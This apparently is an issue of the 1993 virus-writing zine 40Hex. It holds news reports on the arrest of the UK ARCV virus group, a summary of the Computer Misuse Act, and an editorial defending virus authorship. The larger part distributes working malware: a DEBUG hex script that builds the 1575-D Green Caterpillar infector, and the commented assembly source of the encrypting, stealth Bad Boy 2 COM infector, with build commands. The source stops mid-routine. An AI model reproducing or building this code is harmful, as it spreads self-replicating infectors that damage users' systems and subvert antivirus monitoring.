Many of you who read this mag know of the ARCV, and most likely
know Apache Warrior, the president of the group. In December and January,
the ARCV members were raided by Scotland Yard officials, and had their
computer equipment confiscated. Apparently, the bust was triggered not because
of the virus writing they did, but because of the method they allegedly used to
transport their creations to their friends in other countries. A contact in
England recently filled me in on the events which led to the bust of the ARCV.
Apparently, a few of the ARCV members were calling long distance by use of a
beige box (a device which allows tapping into phone lines to make unauthorized
calls) and they got caught. This led to the confiscation of their computer
equipment. The two who were arrested apparently cooperated with the police,
and further examination of the confiscated equipment proved that not only had
the police caught people making fraudulent phone calls, but they also caught
the leaders of a large virus writing group. Further investigation resulted in
more arrests of other ARCV members. Had the group not been phreaking their
calls, chances are they would not be in the fix they are today. Please note,
however, that there have not yet been any trials in the arrests, and the ARCV
members have not been proven guilty.
The following articles were posted on UseNet, and tell the story, although all
but one fail to mention the fact that illegal phone calls, and NOT virus
writing was the key factor in the arrests. Only after the first arrests were
made did the police pursue the avenue concerning virus authorship.
--------------
From "Computing", Feb 4, 1993:
Apache scalps virus cowboys
"Police raided the homes of suspected computer virus authors across
the country last week, arresting five people and seizing equipment.
"The raids were carried out last Wednesdau by police in Manchester,
Cumbria, Staffordshire and Devon and Cornwall.
"Scotland Yard's computer crimes unit co-ordinated the raids under the
codename Operation Apache.
" A spokeswoman for the Greater Manchester Police said: 'The
investigation began in the Mancheter area following the arrest of the
self-styled president of the virus writing group in Salford last
December.'
"Police would not reveal the man's name, but said he had been released
on bail.
"Last week's raids led to the the arrest of a further two people in
Manchester. Three other suspects were also arrested in Staffordshire,
Cumbria and Cornwall.
"PCs and floppy disks were seized in all the raids.
"All those arrested have been released on police bail pending further
investigations."
--------------
From the EFF.TALK newsgroup of Usenet:
"Police have arrested Britain's first computer virus-writing group
in an operation they hope will dampen the aspirations of any potential
high-tech criminals.
Four members of the Association of Really Cruel Viruses (ARCV) were
raided last Wednesday in a joint operation in four cities co-ordinated by
Scotland Yard's computer crimes unit.
The arrests in Greater Manchester, Cumbria, Staffordshire and
Devon and Cornwall, bring to six the members of the group that have been
tracked down by police. Two others, also writing for ARCV, were arrested
a month ago in Manchester.
This six are thought to have written between 30 and 50 relatively
harmless viruses....
--------------
From a reposting of an unidentified newspaper, dated 4 February 1993:
UK Virus Writers Group Foiled by Scotland Yard
British police have arrested four members of a virus-writing group that
calls itself the Association of Really Cruel Viruses (ARCV).
The Scotland Yard Computer Crime Unit coordinated the raids carried out
on suspects in Greater Manchester, Staffordshire, Devon, and Cornwall.
The arrests last Wednesday, January 27, bring to six the number of ARCV
members found by police, after they initially arrested one caught
"phreaking" in Manchester in December. ("Phone phreaking" is the illegal
practice of obtaining free use of telephone lines.) The arrests were
made under Section 3 of the Computer Misuse Act, which prohibits
unauthorized modification of computer material, said Detective Sergeant
Stephen Littler. The suspects, who cannot be identified at this stage
under British law, have been released on bail pending inquiries and may
face further charges.
The members of ARCV used PCs to write viruses, which they shared via a
bulletin board operated by one suspect in Cornwall. The police
confiscated hardware and software, which is being studied by virus
experts to determine how many viruses were written and what the viruses
were intended to do, Littler said. The British anti-virus community
became aware of ARCV through the group's own publicity efforts, such as
a newsletter that it had uploaded to various bulletin boards in the
U.S., according to Richard Ford, editor of the monthly "Virus Bulletin,"
which is published in Abingdon, Oxon, England. The newsletter was
described in detail in the November, 1992, issue of "Virus Bulletin."
"To the best of my knowledge, none of their viruses are in the wild, out
there spreading," said Ford. "But they have been found on virus
exchange bulletin board services, and we've had reports of them being
uploaded rather widely in the UK." ARCV claims, in its newsletter, to
have links with PHALCON/SKISM in the U.S. and other virus writers in
Eastern Europe. "The world is a very small place when you've got a
modem, or are on the Internet," Ford said. The newsletter invites new
members to join even if they are not virus writers but prefer other
"underground" activities such as hacking and phreaking. It also betrays
ARCV's fears of being perceived as nerds (a term not used in Britain)
saying, "Now the picture put out by the Anti- Virus Authors is that
Virus writers are Sad individuals who wear Anoraks and go Train Spotting
but well they are sadly mistaken, we are very intelligent, sound minded,
highly trained, and we wouldn't be seen in an Anorak or near an Anorak
even if dead." (Anorak is the British word for ski jacket.)
ARCV has already failed at one of the objectives mentioned in its
premier newsletter issue, which said, "We will be dodging Special Branch
and New Scotland Yard as we go."
--------------
The following is a summary of Britain's Computer Misuse Act 1990, which
deals with computer crimes:
Summary of Computer Misuse Act 1990:
{ heading }
...
1 -(1) A person is guilty of an offence if-
(A) he causes a computer to perform any function with intent to secure
access to any program or data held in any computer;
(b) the access he intends to secure is unauthorised; and
(c) he knows at the time when he causes the computer to perform the
function that that is the case.
(2) The intent a person has to have to commit an offence under this secton
need not be directed at -
(a) any particular program or data;
(b) a program or data of any particular kind; or
(c) a program or data held in any particular computer.
{ up to 6 months prison, or a medium scale - level 5 - fine, or both}
2 {similar - but access with intent to commit or facilitate further offnces}
3 -(1) A person is guilty of an offence if-
(a) he does any act which causes an unauthorised modification of the contents
of any computer; and
(b) at the time when he does the act he has the requisite intent and the
requisite knowledge.
(2) For the purposes of subsection (1)(b) above the requisite is an intent
to cause a modification of the contents of any computer and by so doing-
(a) to impair the operation of any computer;
(b) to prevent or hinder access to any program or data held in any comp
(c) to impair the operation of any such program or the reliability of
any such data.
(3) {similar clause on direction of intent to section 1}
(4) For the purposes of subsection (1)(b) above the requisite knowledge
is knowledge that any modification he intends to cause is unauthorised.
(5) It is immaterial for the purposes of this section whether an
unauthorised modification or any intended effect of it of a kind
mentioned in subsection (2) above is, or is intended to be, permanent
or merely temporary.
{ such damage not to be within the terms of the Criminal Damage Act 1971 unless
physical damage is caused }
{ In magistrates court - up to 6 months prison or maximum fine or both}
{ In Crown court up to 5 years prison and/or unlimited fine}
{ sections on Jurisdiction - Act applies as long as there is a significant
UK connection - either accused or target computer was in UK}
{ lots of further legal details - no way am I typing in all that!}
14. { search warrant to be issued by a judge, not just a magistrate}
15. { Extradition attempts possible for offences unders sections 2 or 3
conspiracy to commit such, or attempt to commit section 3 offence}
{ more verbiage}
17. {lots of definitions - Computer is _not_ formally defined anywhere
in English Law}
{Definition of Access - seems to cover anything you could think of
doing with a computer}
{defiitions of unauthorised - again rather wide}
{ ... }
(10) Refences to a program include refences to part of a program.
--------------
There ya have it. I personally would like to wish Apache Warrior, Ice-9,
and the rest of ARCV luck in the upcoming legal mess they face. I was sorry
to hear about the bust of the group, but even sorrier when I found out that
some of the members were arrested solely because they had a hand in virus
production. When you commit fraud, you are breaking the law, and yes, you
should be held accountable for your actions. I tend to have the opposite
point of view when it comes to authoring a virus, however. Simply writing code
should never be illegal. Spreading, yes, but writing? No. Unfortunately, the
"powers that be" don't always see it as I do.
--DecimatoR
40Hex Issue 10 Volume 3 Number 1 File 005
This is the 1575-D, or Green Caterpillar virus. This resident COM and EXE
infector is so named for the little green caterpillar which will occasionally
crawl across the screen and eat up characters as it goes along. It is
otherwise unremarkable.
-------------------------------------------------------------------------------
n 1575-d.com
e 0100 0E 8C C8 05 3F 00 50 B8 00 01 50 CB 00 00 00 00
e 0110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04E0 00 00 00 00 00 00 00 00 8B 07 2E FF 36 F8 07 2E
e 04F0 EB 4A 90 60 14 34 02 53 FF 00 F0 CD 20 00 00 00
e 0500 00 00 00 00 00 00 00 7E A4 0A 03 00 01 00 00 00
e 0510 01 0A 03 00 00 9C 0E 00 00 60 36 05 00 AA 43 B5
e 0520 9A 97 03 00 40 89 0E B4 0D 7A 04 71 EA 56 34 02
e 0530 00 00 00 00 78 F8 00 F0 5C 07 70 00 06 1E 8C C0
e 0540 0E 1F 0E 07 A3 35 01 8C D0 A3 2B 01 B0 02 E6 20
e 0550 FC 33 C0 8E D8 33 F6 BF 3C 01 B9 10 00 F2 A4 1E
e 0560 17 BD 08 00 87 EC E8 4C 00 E9 C6 03 E8 5D 04 E8
e 0570 AB 00 74 0E A0 24 07 50 E8 13 01 58 A2 24 07 EB
e 0580 13 90 E8 76 02 E8 95 02 80 3E 24 07 00 75 05 B8
e 0590 00 4C CD 21 80 3E 24 07 43 75 31 1F 07 0E 1F 07
e 05A0 06 BF 00 01 BE 0B 01 B9 0C 00 F2 A4 06 1F B8 00
e 05B0 01 50 33 C0 CB BE 06 00 AD 3D 92 01 74 DD 3D 79
e 05C0 01 75 03 E9 A9 00 3D DC 01 74 01 C3 1F 07 2E 8B
e 05D0 1E 19 01 2E 2B 1E 31 01 8C C8 2B C3 8E D0 2E 8B
e 05E0 2E 33 01 87 EC 2E 8B 1E 21 01 2E 2B 1E 23 01 8C
e 05F0 C8 2B C3 50 2E A1 25 01 50 CB 23 1A 3C 23 2F 2D
e 0600 2D 21 2E 24 0E 23 2F 2D E0 41 3A 31 35 37 35 2D
e 0610 44 2E 43 4F 4D 00 00 00 24 24 24 24 24 B8 02 3D
e 0620 BA 19 02 CD 21 73 02 F8 C3 A3 2B 01 BA 73 06 B8
e 0630 24 25 CD 21 B8 02 42 8B 1E 2B 01 B9 FF FF BA FE
e 0640 FF CD 21 BA 7D 02 B4 3F 8B 1E 2B 01 B9 02 00 CD
e 0650 21 B4 3E CD 21 1E 8B 16 39 01 A1 37 01 8E D8 B8
e 0660 24 25 CD 21 1F 81 3E 7D 02 0C 0A F8 C3 00 00 3D
e 0670 2D 02 74 1A 1E 07 0E 1F A1 2B 01 8E D0 87 EC BE
e 0680 3C 01 BF 00 00 B9 10 00 FC F2 A4 E9 DE FE B0 43
e 0690 A2 24 07 B0 08 E6 70 E4 71 A2 3B 01 BA 19 02 B8
e 06A0 02 3D CD 21 73 01 C3 A3 2B 01 BA 0B 01 8B 1E 2B
e 06B0 01 B9 0C 00 B4 3F CD 21 B8 02 42 33 C9 33 D2 CD
e 06C0 21 50 05 10 00 25 F0 FF 50 D1 E8 D1 E8 D1 E8 D1
e 06D0 E8 BF 1F 03 AB 58 5B 2B C3 B9 27 06 03 C8 BA 00
e 06E0 01 2B D0 8B 1E 2B 01 B4 40 CD 21 B8 00 42 33 C9
e 06F0 33 D2 CD 21 B4 40 8B 1E 2B 01 B9 0C 00 BA 1B 03
e 0700 CD 21 B4 3E 8B 1E 2B 01 CD 21 C3 0E 8C C8 05 3F
e 0710 00 50 B8 00 01 50 CB B0 45 A2 24 07 B0 08 E6 70
e 0720 E4 71 A2 3B 01 BA 19 02 B8 02 3D CD 21 73 01 C3
e 0730 A3 2B 01 BA 0B 01 8B 1E 2B 01 B9 18 00 B4 3F CD
e 0740 21 B8 02 42 B9 00 00 BA 00 00 CD 21 50 05 10 00
e 0750 83 D2 00 25 F0 FF 89 16 27 01 A3 29 01 B9 27 07
e 0760 81 E9 00 01 03 C1 83 D2 00 B9 00 02 F7 F1 40 A3
e 0770 0F 01 89 16 0D 01 A1 21 01 A3 23 01 A1 1F 01 A3
e 0780 25 01 A1 19 01 A3 31 01 A1 1B 01 A3 33 01 8B 16
e 0790 27 01 A1 29 01 B9 10 00 F7 F1 2D 10 00 2B 06 13
e 07A0 01 A3 21 01 A3 19 01 C7 06 1F 01 00 01 C7 06 1B
e 07B0 01 00 01 B8 00 42 33 C9 BA 02 00 CD 21 BA 0D 01
e 07C0 8B 1E 2B 01 B9 16 00 B4 40 CD 21 B8 02 42 33 C9
e 07D0 33 D2 CD 21 BA 00 01 A1 29 01 59 2B C1 2B D0 B9
e 07E0 27 07 03 C8 81 E9 00 01 B4 40 CD 21 B4 3E CD 21
e 07F0 C3 51 B9 00 00 B4 4E CD 21 59 C3 06 B8 1C 35 CD
e 0800 21 2E 89 1E 07 01 2E 8C 06 09 01 B8 21 35 CD 21
e 0810 06 58 2E A3 05 01 2E 89 1E 03 01 07 C3 50 06 1E
e 0820 33 C0 8E C0 BE 86 00 26 8B 04 8E D8 BE 25 07 81
e 0830 3C 0C 0A 75 09 1E 58 E8 B7 01 1F 07 58 C3 0E 1F
e 0840 A1 35 01 48 8E C0 26 80 3E 00 00 5A 74 03 EB 44
e 0850 90 26 A1 03 00 B9 37 07 D1 E9 D1 E9 D1 E9 D1 E9
e 0860 2B C1 72 30 26 A3 03 00 26 29 0E 12 00 0E 1F 26
e 0870 A1 12 00 50 07 BE 00 01 56 5F B9 27 06 FC F2 A4
e 0880 06 2B C0 8E C0 BE 84 00 BA A8 04 26 89 14 46 46
e 0890 58 26 89 04 1F 07 58 C3 3C 57 75 03 EB 1E 90 80
e 08A0 FC 1A 75 06 E8 17 01 EB 13 90 80 FC 11 75 04 E8
e 08B0 0F 00 CF 80 FC 12 75 04 E8 C1 00 CF 2E FF 2E 03
e 08C0 01 B0 57 CD 21 50 51 52 53 55 56 57 1E 06 0E 1F
e 08D0 0E 07 2E C6 06 CD 05 00 90 E8 18 00 75 0C E8 3C
e 08E0 FD 74 07 E8 54 01 FE 0E CD 05 07 1F 5F 5E 5D 5B
e 08F0 5A 59 58 C3 0E 07 0E 07 FC E8 36 00 73 04 83 FF
e 0900 00 C3 BF 19 02 B0 2E B9 0B 00 F2 AE 81 3D 43 4F
e 0910 75 0D 80 7D 02 4D 75 07 C6 06 24 07 43 90 C3 81
e 0920 3D 45 58 75 0C 80 7D 02 45 75 06 C6 06 24 07 45
e 0930 90 C3 1E 2E 8B 36 2D 01 2E A1 2F 01 8E D8 BF 19
e 0940 02 AC 3C FF 75 07 83 C6 06 AC EB 08 90 3C 05 72
e 0950 03 1F F9 C3 B9 0B 00 3C 00 74 06 04 40 AA B0 3A
e 0960 AA AC 3C 20 74 04 AA EB 0B 90 26 80 7D FF 2E 74
e 0970 03 B0 2E AA E2 EB B0 00 AA 1F F8 C3 B0 57 CD 21
e 0980 50 51 52 53 55 56 57 1E 06 0E 1F 0E 07 2E 80 3E
e 0990 CD 05 00 74 03 EB 1C 90 E8 59 FF 75 16 E8 7D FC
e 09A0 74 11 E8 95 00 FE 0E CD 05 07 1F 5F 5E 5D 5B 5A
e 09B0 59 58 C3 07 1F 5F 5E 5D 5B 5A 59 58 C3 00 50 1E
e 09C0 58 2E A3 2F 01 2E 89 16 2D 01 58 C3 0E B0 00 E6
e 09D0 20 B8 24 35 CD 21 89 1E 39 01 8C C3 89 1E 37 01
e 09E0 07 BE 0A 02 BF 19 02 B9 0F 00 AC 04 20 AA E2 FA
e 09F0 C3 50 0E 1F 0E 07 8A 1E 3B 01 80 FB 0C 77 39 80
e 0A00 FB 00 74 34 B0 08 E6 70 E4 71 3C 0C 77 2A 3C 00
e 0A10 74 26 3A C3 74 22 FE C3 E8 14 00 3A C3 74 19 FE
e 0A20 C3 E8 0B 00 3A C3 74 10 1F E8 3A 00 0E 1F C3 80
e 0A30 FB 0C 76 03 80 EB 0C C3 58 C3 BA 73 06 B8 24 25
e 0A40 CD 21 80 3E 24 07 43 75 06 E8 42 FC EB 04 90 E8
e 0A50 C5 FC 1E 8B 16 39 01 A1 37 01 8E D8 B8 24 25 CD
e 0A60 21 1F C3 B0 03 CF BA B0 06 B8 1C 25 CD 21 C6 06
e 0A70 B0 06 90 90 B8 00 B8 8E C0 BF A0 0F B8 20 07 B9
e 0A80 0B 00 F2 AB 0E 07 C3 00 00 00 20 07 0F 0A 0F 0A
e 0A90 0F 0A 0F 0A 0F 0A 0F 0A 0F 0A 0F 0A F7 0E EE 0C
e 0AA0 90 FB 50 51 52 53 55 56 57 1E 06 0E 1F EB 0B 90
e 0AB0 07 1F 5F 5E 5D 5B 5A 59 58 CF B8 00 B8 8E C0 E8
e 0AC0 2B 00 BE 9A 06 B9 16 00 F2 A4 80 3E AE 06 EE 74
e 0AD0 08 C6 06 AE 06 EE EB 06 90 C6 06 AE 06 F0 26 8B
e 0AE0 05 B4 0E A3 9A 06 C6 06 99 06 00 EB C3 BF 00 00
e 0AF0 BE 9C 06 57 B9 12 00 FC F3 A6 5F 74 0B 47 47 81
e 0B00 FF A0 0F 75 EB BF 00 00 81 FF 9E 0F 75 05 C6 06
e 0B10 B0 06 CF C3 43 0C 0A
rcx
0A17
w
q
-------------------------------------------------------------------------------
DA
40Hex Issue 10 Volume 3 Number 1 File 006
The following is the Bad Boy 2 virus. Patricia M. Hoffman's VSUM is clearly
not a good source of virus description, so we will not bother including its
utterly useless description of the virus here. Bad Boy 2 is a resident COM
infector. After 10 infections, it turns itself off. Although most of the
code is written well, there are still a few bugs and inconsistencies in it.
It implements several well-known stealth techniques, including playing with
the system file table. It is a segmented virus, with variable placement of
each segment when it infects a file. Thus the locations of each segment in
the virus relative to each other changes upon each infection.
For a byte-to-byte match up of the original, assemble with the following:
tasm badboy2.asm
tlink /t badboy2.asm
Note only one pass is required.
Dark Angel
Phalcon/Skism 1993
-------------------------------------------------------------------------------
.model tiny
.code
org 100h
; Bad Boy 2 virus
; Disassembly done by Dark Angel of Phalcon/Skism
; For 40Hex Issue 10 Volume 3 Number 1
start:
push cs:startviruspointer ; save on stack for
push cs ; return
pop ds
jmp word ptr cs:encryptpointer ; decrypt virus
endstart:
curpointer dw 0
infcounter db 0
filesize dw 2
filetime dw 0
filedate dw 0
origint21 dw 0, 0
DOSdiskOFF dw 0
DOSdiskSEG dw 0
oldint21 dw 0, 0
oldint24 dw 0, 0
; The parts of the virus are here
encryptpointer dw offset carrierencrypt
startviruspointer dw offset startvirus
installpointer dw offset install
exitviruspointer dw offset exitvirus
restoreint21pointer dw offset restoreint21
int24pointer dw offset int24
int21pointer dw offset int21
infectpointer dw offset infect
encryptlength dw endencrypt-encrypt
startviruslength dw endstartvirus-startvirus
installlength dw endinstall-install
exitviruslength dw endexitvirus-exitvirus
restoreint21length dw endrestoreint21-restoreint21
int24length dw endint24-int24
int21length dw endint21-int21
infectlength dw endinfect-infect
enddata:
encrypt: ; and decrypt
mov bx,offset startviruspointer
mov cx,6
do_next_segment:
cmp bx,offset int24pointer
jne not_int24pointer
add bx,2
not_int24pointer:
push bx
push cx
mov ax,[bx] ; get start offset
mov cx,[bx+encryptlength-encryptpointer] ; and length
mov bx,ax
encrypt_segment:
xor [bx],al ; encrypt cx bytes
inc bx
loop encrypt_segment
pop cx
pop bx
add bx,2 ; go to next segment
loop do_next_segment
retn
endencrypt:
startvirus:
mov es,cs:[2] ; get top of memory
mov di,100h ; check if virus
mov si,100h ; already resident
mov cx,offset endstart - offset start - 1
rep cmpsb
jnz not_installed ; continue if not
jmp cs:exitviruspointer ; otherwise, quit
not_installed:
mov ax,cs ; get current program's
dec ax ; MCB
mov ds,ax
cmp byte ptr ds:[0],'Z' ; check if last one
;nop
je is_last_MCB ; continue if so
jmp cs:exitviruspointer ; otherwise, quit
is_last_MCB:
rsize = ((endvirus - start + 15)/16+1)*3 ; resident size in
; paragraphs
sub word ptr ds:[3],rsize ; decrease MCB's memory
mov ax,es ; get segment of high memory
sub ax,rsize ; decrease by virus size
mov es,ax ; es = start segment of virus
mov ds:[12h],ax ; put value in PSP top of
; memory field
push cs
pop ds
mov cs:infcounter,0 ; clear infection counter
mov di,100h
mov cx,offset enddata - offset start
mov si,100h
rep movsb
mov bx,cs:encryptpointer
add bx,encrypt_segment-encrypt+1
xor byte ptr [bx],18h ; change to: xor [bx],bl
; shuffling segments to different locations
mov cx,8
mov curpointer,offset encrypt
shuffle:
push cx
call random_segment
push bx
mov ax,[bx]
push ax
add bx,encryptlength-encryptpointer
mov cx,[bx]
pop si
pop bx
xchg di,curpointer
mov es:[bx],di ; copy segment
rep movsb ; to memory area
xchg di,curpointer
mov ax,8000h
or [bx],ax ; mark already copied
pop cx
loop shuffle
mov cl,8
not ax ; ax = 7FFFh
mov bx,offset encryptpointer
clear_hibit: ; restore the pointers
and [bx],ax
add bx,2
loop clear_hibit
jmp cs:installpointer
random_segment:
push cx
push es
xor cx,cx
mov es,cx
random_segment_loop:
mov bx,es:[46Ch] ; get timer ticks since
; midnight MOD 8
db 081h,0e3h,7,0 ; and bx,7
shl bx,1 ; multiply by 2
add bx,offset encryptpointer
test word ptr [bx],8000h ; check if already moved
jnz random_segment_loop ; do it again if so
pop es
pop cx
retn
endstartvirus:
install:
xor ax,ax
mov ds,ax ; ds->interrupt table
mov ax,ds:21h*4 ; save old int 21h handler
mov es:oldint21,ax
mov ax,ds:21h*4+2
mov word ptr es:oldint21+2,ax
mov ah,30h ; get DOS version
int 21h
cmp ax,1E03h ; 3.X?
jne not_DOS_3X ; skip if not
mov es:origint21,1460h ; use known value for int 21h
mov ax,1203h ; get DOS segment
push ds
int 2Fh
mov word ptr es:origint21+2,ds
pop ds
jmp short is_DOS_3X
nop
not_DOS_3X:
mov ax,ds:21h*4
mov es:origint21,ax
mov ax,ds:21h*4+2
mov word ptr es:origint21+2,ax
is_DOS_3X:
cli ; set new int 21h handler
mov ax,es:int21pointer
mov ds:21h*4,ax
mov ax,es
mov ds:21h*4+2,ax
sti
mov cx,es
mov ah,13h ; get old DOS disk handler
int 2Fh ; to es:bx
push es
mov es,cx
mov es:DOSdiskOFF,dx
mov es:DOSdiskSEG,ds
pop es
int 2Fh ; restore DOS disk handler
jmp cs:exitviruspointer
endinstall:
exitvirus:
push cs ; copy return routine to
push cs ; buffer at end of file
pop ds ; and transfer control
pop es ; to it
mov si,cs:exitviruspointer
add si,offset return_to_COM - offset exitvirus
;nop
mov di,cs:filesize
add di,offset endvirus
push di
mov cx,offset end_return_to_COM - offset return_to_COM
cld
rep movsb
retn ; jmp to return_to_COM
return_to_COM:
mov si,cs:filesize
add si,100h
cmp si,offset endvirus ; check if small file
jae not_negative ; if not, skip next
mov si,offset endvirus ; adjust for too small
not_negative:
mov di,100h
mov cx,offset endvirus - offset start - 1 ; ????
rep movsb ; copy old file to start
mov ax,100h ; and exit the virus
push ax
retn
end_return_to_COM:
endexitvirus:
restoreint21:
xor di,di
mov ds,di
cli
mov di,cs:oldint21
mov ds:21h*4,di
mov di,word ptr cs:oldint21+2
mov ds:21h*4+2,di
sti
retn
plea db 'Make me better!'
endrestoreint21:
int24:
mov al,3
iret
message db 'The Bad Boy virus, Version 2.0, Copyright (C) 1991.',0
endint24:
int21:
push bx
push si
push di
push es
push ax
cmp ax,4B00h ; check if execute
jz execute ; continue if so
jmp short exitint21
nop
execute:
push ds
push cs
pop es
xor ax,ax
mov ds,ax
mov si,24h*4 ; get old int 24h
mov di,offset oldint24 ; handler
movsw
movsw
mov ax,cs:int24pointer
cli ; set new critical error
mov ds:24h*4,ax ; handler
mov ax,cs
mov ds:24h*4+2,ax
sti
pop ds
mov ax,3D00h ; open file read only
pushf
call dword ptr cs:oldint21
jc restore_exitint21
mov bx,ax ; handle to bx
call cs:infectpointer
pushf
mov ah,3eh ; close file
pushf
call dword ptr cs:oldint21
popf
jc restore_exitint21
push ds
cli ; subvert nasty disk
xor ax,ax ; monitoring programs
mov ds,ax
mov ax,cs:DOSdiskOFF
xchg ax,ds:13h*4
mov cs:DOSdiskOFF,ax
mov ax,cs:DOSdiskSEG
xchg ax,ds:13h*4+2
mov cs:DOSdiskSEG,ax
sti
pop ds
restore_exitint21:
push ds
xor ax,ax
mov ds,ax
mov ax,cs:oldint24
mov ds:24h*4,ax
mov ax,word ptr cs:oldint24+2
mov ds:24h*4+2,ax
pop ds
exitint21:
pop ax
pop es
pop di
pop si
pop bx
jmp dword ptr cs:oldint21
endint21:
infect:
push cx
push dx
push ds
push es
push di
push bp
push bx
mov ax,1220h ; get JFT entry for file
int 2Fh ; handle bx
mov bl,es:[di]
xor bh,bh
mov ax,1216h ; get associated SFT
int 2Fh ; entry to es:di
pop bx
mov ax,es:[di+11h] ; get file size
cmp ax,0F000h ; exit if too large
jb not_too_large
jmp errorinfect
not_too_large:
mov word ptr es:[di+2],2 ; set to read/write mode
mov ax,es:[di+11h] ; get file size (again)
mov cs:filesize,ax ; save it
mov ax,es:[di+0Dh] ; get file time
mov cs:filetime,ax ; save it
mov ax,es:[di+0Fh] ; get file date
mov cs:filedate,ax ; save it
push cs
pop ds
mov dx,4E9h
mov cx,3E8h
mov ah,3Fh ; Read from file
pushf
call dword ptr cs:oldint21
jnc read_ok
jmp errorinfect
read_ok:
mov bp,ax
mov si,dx
mov ax,'MZ' ; check if EXE
cmp ax,[si]
jne not_MZ
jmp errorinfect
not_MZ:
xchg ah,al
cmp ax,[si] ; check if EXE
jne not_ZM
jmp errorinfect
not_ZM:
push es
push di
push cs
pop es
mov si,100h ; check if already
mov di,dx ; infected
mov cx,offset endstart - offset start - 1
repe cmpsb
pop di
pop es
jnz not_already_infected
jmp errorinfect
not_already_infected:
mov word ptr es:[di+15h],0
push es
push di
mov si,cs:infectpointer
add si,offset write_virus - offset infect
xor di,di
push cs
pop es
mov cx,offset end_write_virus-offset write_virus
cld
rep movsb
pop di
pop es
mov si,cs:infectpointer
add si,offset finish_infect - offset infect
push si
xor si,si
push si
push ds
cli ; subvert nasty
xor ax,ax ; antivirus programs
mov ds,ax
mov ax,cs:DOSdiskOFF
xchg ax,ds:13h*4
mov cs:DOSdiskOFF,ax
mov ax,cs:DOSdiskSEG
xchg ax,ds:13h*4+2
mov cs:DOSdiskSEG,ax
sti
pop ds
retn
write_virus:
push bx
call cs:encryptpointer ; encrypt virus
pop bx
mov dx,100h
mov ah,40h ; write virus
mov cx,offset endvirus - offset start
pushf
call dword ptr cs:origint21
pushf
push bx
call cs:encryptpointer ; decrypt virus
pop bx
popf
jnc write_OK
pop ax
mov ax,cs:infectpointer
add ax,offset infectOK - offset infect
push ax
retn
write_OK:
mov ax,es:[di+11h] ; move file pointer
mov es:[di+15h],ax ; to end of file
